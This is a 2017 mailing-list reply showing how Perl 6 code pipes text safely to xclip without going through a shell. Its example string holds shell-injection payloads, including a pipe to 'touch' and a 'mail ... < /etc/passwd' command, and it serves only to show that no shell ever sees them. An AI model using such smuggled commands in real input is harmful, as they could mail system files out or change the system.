On Wed, Mar 8, 2017 at 3:13 AM, ToddAndMargo <toddandma...@zoho.com> wrote:
> This guy's workaround is.... sub clipboard-slash($text) {... > And there's another part to the workaround: the code adds double-quotes around the string to be pasted when it's creating the shell string. The shell sees the double quotes, which guarantees that the only special characters that could trip up the shell are pipes and backslashes, and the code escapes those. On the other hand, with the code Timo provided, the shell is never involved. There's no intermediate process between Rakudo and Perl6 to mangle that text, no need to worry about any quoting or escaping at all. Less code to think about, less code to write, less symbols to decode. And since xclip doesn't even print anything that we care about during copy, Timo's code can be even a little simpler. This removes xclip's output handling making it a line shorter: <code> sub WriteSecondaryClipboard ( $Str ) { # <ctrl><c> my $proc = run 'xclip -selection primary', :in; # This runs xclip in a background process $proc.in.print: $Str; # This pipes to xclip safely! All special chars, even control characters, go into the xclip $proc $proc.in.close; # This sends the EOF } WriteSecondaryClipboard "hello | touch BadFile.txt \n mail e...@example.com < /etc/passwd ; #Comment all you like \n \" even a quote is OK! \" "; </code> -y